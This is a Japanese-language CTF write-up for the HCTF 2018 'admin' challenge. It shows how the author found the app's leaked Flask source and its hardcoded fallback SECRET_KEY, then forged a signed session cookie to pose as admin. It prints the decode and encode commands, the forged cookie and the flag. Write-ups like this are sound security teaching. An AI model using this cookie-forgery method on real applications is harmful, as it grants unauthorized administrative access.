HCTF 2018 Writeup - admin
問題文
ch1p want to have new notes,so i write,hahaha
URL http://admin.2018.hctf.io

writeup
右上のメニューにはregisterとloginのリンクがある。それぞれアカウントの登録とログインが可能。
適当に登録してログインする。

ログイン後、右上のメニューがpost、change password、logoutのリンクに変化した。
各画面を探索していると、change password画面のHTMLソースのコメントにgithubのリンクを発見。
<div class="four wide column"></div>
<div class="eight wide column">
<!-- https://github.com/woadsl1234/hctf_flask/ -->
<form class="ui form segment" method="post" enctype="multipart/form-data">
<div class="field required">
<label>NewPassword</label>
<input id="newpassword" name="newpassword" required type="password" value="">
</div>
<input type="submit" class="ui button fluid" value="更换密码">
</form>
</div>
GitHub - woadsl1234/hctf_flask: hctf_flask
どうやらこの問題のソースコードのようだ。
また、flaskフレームワークで開発されたアプリケーションのようだ。
templates/index.htmlに以下の記載を発見。
adminでログインできればフラグをゲットできる。
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
flaskのsessionをデコードしてみる。
以下のツールを使用した。
GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
-sオプションでSECRET_KEYを指定しなければ、署名確認を省いて、ペイロードにどういった情報があるか確認できる。
python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI'
{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}
'name': 'vvvv'を'name': 'admin'に書き換えればいけそうだが、署名のためにはSECRET_KEYが必要。
config.pyに、SECRET_KEYが定義されていた。
import os class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True
環境変数に定義されていなければ、ckj123をSECRET_KEYにセットする実装になっている。
おそらくデバッグ用の設定で、実環境では環境変数で与えてるんだろうなぁと思ったが、駄目元でSECRET_KEYにckj123をセットしてデコードしてみる。
# python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI' -s 'ckj123'
{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}
通った!えぇ・・・。
あとはnameをadminに改ざんしてCookieを生成するだけ。
# python3 Flasksession_cookie_manager.py encode -t "{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'admin', 'user_id': '10'}" -s 'ckj123'
.eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0
.eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0をCookieのsessionにセットして、http://admin.2018.hctf.io/indexにアクセス。
ちなみに、Cookieの変更にはGoogle ChromeのEditThisCookieプラグインを使用している。

フラグゲット。
hctf{un1c0dE_cHe4t_1s_FuNnying}